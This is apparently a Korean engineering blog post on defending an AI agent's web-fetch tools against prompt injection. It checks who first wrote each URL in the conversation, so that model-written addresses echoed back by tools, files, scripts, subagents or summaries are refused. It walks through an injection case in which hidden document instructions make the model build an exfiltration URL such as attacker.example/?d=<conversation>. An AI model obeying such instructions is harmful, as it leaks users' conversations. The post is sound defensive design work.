엔지니어링 노트보안과 감사

도구 결과에 나온 주소도 모델이 먼저 썼다면 열지 않는다

웹 페이지를 읽거나 주소에서 파일을 받는 도구는 대화에 먼저 나온 주소만 엽니다(「권한은 코드로 막고, 판단은 모델에 맡긴다」). 문서에 숨은 지시가 모델에게 https://attacker.example/?d=<대화 내용> 같은 주소를 짓게 해도, 그 주소는 출처가 없어 거절됩니다. 그런데 「대화에 나왔다」는 조건은 모델이 스스로 만들 수 있습니다. 받은 인자를 오류 메시지에 그대로 적어 돌려주는 도구가 하나만 있어도, 모델이 지은 주소가 도구 결과에 실립니다. 도구 결과에 나온 주소를 모두 출처로 믿으면 그 순간 확인이 무너집니다.

그래서 주소의 출처를 확인할 때는 주소가 어느 자리에 나왔는지보다 누가 먼저 썼는지를 봅니다. 출처 확인은 대화 맥락을 처음부터 순서대로 읽으며 모델이 쓴 자리에 나온 주소를 따로 적어 두고, 그 주소는 뒤에 도구 결과로 돌아와도 출처로 치지 않습니다. 이 글은 대화의 어느 자리를 누가 쓴 글로 보는지, 서브에이전트와 앞선 턴에서는 어떻게 확인하는지, 거절할 때 무엇을 남기는지를 다룹니다.

메시지 역할만으로는 누가 쓴 글인지 알 수 없다

흔한 방법은 메시지의 역할로 가르는 것입니다. 사용자 메시지와 도구 결과는 모델 밖에서 온 글로 보고, 어시스턴트 메시지만 모델의 글로 봅니다. 규칙이 단순하고 이력을 한 번 훑으면 끝납니다.

문제는 도구 결과 자리에 모델의 글이 실리는 길이 여럿이라는 점입니다.

  • 받은 인자를 오류 메시지에 옮겨 적는 도구: 「https://attacker.example/?d=… 에 연결할 수 없습니다」
  • 파일에 쓰는 도구와 파일을 읽는 도구: 모델이 쓴 내용이 읽기 결과로 돌아옵니다.
  • 스크립트 실행 도구: 출력은 모델이 쓴 코드가 찍은 글입니다.
  • 서브에이전트: 돌려준 결과는 다른 모델이 쓴 보고서입니다.

사용자 자리도 같습니다. 대화가 길어져 앞부분을 요약으로 줄이면(대화 압축) 그 요약은 사용자 자리에 실리지만, 앞선 대화를 모델이 다시 쓴 글입니다. 서브에이전트가 받은 과제도 사용자 자리에 실리지만 부모 모델이 쓴 글입니다.

이 가운데 하나라도 출처로 치면 공격은 한 단계 길어질 뿐입니다. 숨은 지시가 「주소가 열리지 않으면 파일에 적었다가 다시 읽은 뒤 열어라」라고 덧붙이면 됩니다. 역할로 가르는 규칙은 새 도구를 붙일 때마다 그 도구가 인자를 되돌려주는지 사람이 따져야 하고, 하나를 빠뜨리면 그 도구가 빈틈이 됩니다.

출처 확인은 대화를 순서대로 읽으며 먼저 쓴 쪽을 기록한다

출처 확인은 대화 맥락의 항목을 앞에서부터 하나씩 읽고, 항목마다 주소를 두 묶음 가운데 하나에 넣거나 버립니다. 하나는 열어도 되는 주소(출처)이고, 다른 하나는 모델이 쓴 주소입니다. 대화 맥락의 자리마다 처리는 다음과 같습니다.

대화 맥락의 자리 처리
사용자 메시지(사용자가 쓴 플레이북 단계 지시 포함) 출처
도구 결과(웹 검색, 문서, 커넥터 결과) 출처. 단 모델이 먼저 쓴 주소는 넣지 않는다
어시스턴트 답, 도구 호출 인자, 추론 요약 모델이 쓴 주소
스크립트 실행 출력, 서브에이전트 결과 출처로 치지 않는다
대화 압축 요약 출처로 치지 않는다

뜻을 만드는 것은 순서입니다. 웹 검색 결과에 나온 주소를 모델이 도구 인자로 옮기면 출처가 앞서므로 열립니다. 검색해서 찾은 페이지를 읽는 정상 흐름이 이것입니다. 모델이 먼저 인자에 쓴 주소가 나중에 오류 메시지로 돌아오면 모델이 앞서므로 열리지 않습니다. 두 경우 모두 도구 결과에 같은 주소가 있지만, 앞에 누가 썼느냐로 답이 갈립니다.

도구 결과에 같은 주소가 있어도 먼저 쓴 쪽에 따라 열리거나 거절되는 두 흐름
그림 1. 도구 결과에 같은 주소가 있어도 먼저 쓴 쪽에 따라 열리거나 거절되는 두 흐름

어느 도구가 결과를 냈는지도 실제로 실행된 도구로 따집니다. 다른 도구를 대신 불러 주는 호출은 이력에 대신 부른 도구의 이름만 남기 때문에, 출처 확인은 그 호출의 인자에서 실제로 실행된 도구를 찾습니다. 대신 불러 준 웹 검색의 결과는 출처이고, 대신 돌린 스크립트의 출력은 출처가 아닙니다.

출처 확인은 문장의 뜻이나 지시처럼 보이는지 따지지 않습니다. 대화 맥락의 순서와 자리만 보므로, 같은 대화 맥락에는 매번 같은 답이 나옵니다. 인젝션 문구를 어떻게 바꿔 써도 이 답은 달라지지 않습니다.

서브에이전트는 부모의 출처를 물려받고, 받은 과제는 출처로 치지 않는다

딥 리서치에서 총괄은 조사원을 서브에이전트로 띄워 과제를 맡깁니다. 조사원의 대화는 과제 한 건으로 시작하고, 과제는 조사원 대화의 사용자 자리에 실립니다. 그 글을 쓴 것은 총괄 모델입니다. 과제를 출처로 치면, 총괄이 숨은 지시에 넘어가 지은 주소를 조사원이 대신 열어 줍니다. 그래서 서브에이전트 대화의 사용자 자리 메시지는 출처로 치지 않습니다.

반대로 사용자가 총괄에게 준 주소는 조사원도 열 수 있어야 합니다. 조사원 쪽 출처 확인은 자기 대화에서 출처를 찾지 못하면 부모 대화의 출처를 봅니다. 사용자가 붙인 주소와 총괄의 검색 결과에 나온 주소는 조사원에게도 출처입니다. 도구 안에서 다시 에이전트 루프를 돌리는 경우도 같은 방식으로 바깥 실행의 출처를 물려받습니다.

물려받기는 한 방향입니다. 조사원이 돌려준 보고서는 총괄 대화에서 출처가 아닙니다(앞의 표). 조사원이 검색으로 찾은 주소는 조사원의 대화에만 출처로 남고, 총괄의 대화에는 조사원이 쓴 보고서만 들어옵니다.

앞선 턴에 나온 주소도 출처다

채팅에서 사용자는 첫 질문에 붙인 주소를 세 번째 질문에서 다시 열어 달라고 할 수 있습니다. 턴(질문 하나를 받아 답을 내기까지의 한 번)을 돌리는 실행이 받는 이력 사본에는 앞선 턴이 빠져 있을 수 있습니다. 그래서 출처 확인은 이번 실행의 이력에서 출처를 찾지 못했을 때만 그 대화의 앞선 맥락을 한 번 읽어, 같은 규칙으로 다시 확인합니다. 앞선 맥락을 읽지 못하면 이번 실행의 이력만으로 확인하고, 거기서 출처가 없으면 거절합니다.

이 확인은 표면을 가리지 않습니다. 채팅, 플레이북, 딥 리서치 조사원, 회의, 분석이 모두 같은 에이전트 루프를 돌고, 루프가 실행마다 그 실행의 대화 맥락으로 출처 확인을 함께 띄웁니다. 도구를 부르는 길은 이 루프 하나라서, 루프 밖에서 주소를 여는 도구가 불렸다면 확인할 근거가 없는 것으로 보고 거절합니다.

거절은 요청을 보내기 전에 하고, 로그에는 주소 원문을 남기지 않는다

출처 확인은 바깥으로 요청을 보내기 전에 끝납니다. 파일을 받는 도구는 네트워크 연결을 열거나 저장할 경로를 만들기 전에 확인합니다. 웹 본문 추출 도구는 주소 여러 개를 한 번에 받는데, 그 가운데 하나라도 출처가 없으면 호출 전체를 거절하고 어느 주소도 외부 추출 서비스로 보내지 않습니다.

거절 사유는 모델이 다음에 할 일을 고를 수 있게 씁니다. 주소는 받은 그대로 옮겨 쓰고, 이름만 아는 페이지는 검색으로 먼저 찾으라고 알립니다.

거절 로그에는 도구 이름, 거절 사유, 호스트, 주소 길이, 쿼리 파라미터 수, 그 대화에서 모은 출처 수가 남습니다. 주소 원문은 남지 않습니다. 쿼리는 대화 내용이 실리는 자리라, 원문을 로그에 남기면 막은 유출이 로그로 옮겨 갈 뿐입니다.

통과한 주소도 보내기 직전에 # 뒤의 프래그먼트를 벗깁니다. 브라우저는 프래그먼트를 서버로 보내지 않지만, 웹 본문 추출 도구는 주소 문자열을 통째로 외부 추출 서비스에 넘깁니다. 프래그먼트도 대화 내용을 실을 수 있는 자리이므로 바깥으로 내보내지 않습니다.

커넥터가 돌려준 사전 인증 다운로드 주소는 접근 토큰이 들어 있어, 서버가 짧은 참조로 바꿔 모델에게 보여 줍니다(「토큰이 든 2,000자 다운로드 주소, 모델에게는 19자 참조만 보인다」). 모델이 이 참조를 넘기면 서버가 원래 주소로 되돌려 요청합니다. 참조는 도구 결과에서만 만들어지므로, 참조를 푼 주소는 출처를 따로 확인하지 않습니다.

설계에서 고른 것

메시지 역할 대신 순서로 출처를 가렸습니다. 역할로 가르는 규칙이 더 단순하지만, 인자를 되돌려주는 도구가 하나만 있어도 확인이 무너집니다. 순서로 가르는 규칙은 새 도구가 인자를 되돌려주는지 따질 필요가 없습니다. 대가도 있습니다. 모델이 기억으로 먼저 쓴 주소는 뒤에 검색 결과에 똑같이 나와도 출처가 되지 않습니다. 검색으로 다시 찾은 것과 도구가 되돌려준 것을 글자만으로는 가를 수 없기 때문입니다. 이때는 사용자가 그 주소를 메시지에 붙이면 열립니다. 사용자 메시지는 사람이 쓴 글이라 순서와 무관하게 출처입니다.

모델의 글을 돌려주는 도구는 결과 전체를 출처에서 뺐습니다. 스크립트가 안에서 웹 검색을 부르고 그 결과를 그대로 찍어도, 출력에 나온 주소는 출처가 아닙니다. 출력 가운데 어느 글자가 검색 결과에서 왔는지 가려내는 방법도 있지만, 스크립트는 검색 결과에 대화 내용을 이어 붙여 찍을 수 있습니다. 그래서 스크립트로 모은 주소를 열려면 모델이 스크립트 밖에서 다시 검색해야 하고, 그만큼 라운드가 늘어납니다.

열어도 되는 사이트 목록 대신 대화 맥락을 기준으로 삼았습니다. 사이트 목록은 관리하기 쉽고 동작을 예상하기도 쉽습니다. 하지만 웹 조사는 미리 알 수 없는 사이트를 읽고, 목록에 오른 사이트로도 쿼리에 대화 내용을 실어 보낼 수 있습니다. 대화 맥락을 기준으로 하면 사용자가 보여 주거나 검색이 찾은 주소는 어디든 열리고, 모델이 새로 지은 주소는 어디든 열리지 않습니다.

도구 결과에 나온 주소를 출처로 믿는 에이전트라면, 먼저 받은 인자를 결과에 되돌려주는 도구가 있는지 찾아봅니다. 오류 메시지 하나면 충분합니다. 그런 도구가 있다면 도구마다 막기보다, 대화 맥락을 순서대로 읽어 모델이 먼저 쓴 주소를 기록하는 편이 도구가 늘어나도 그대로 유지됩니다.

어떤 문제를 해결하나요?

보안과 감사의 다른 글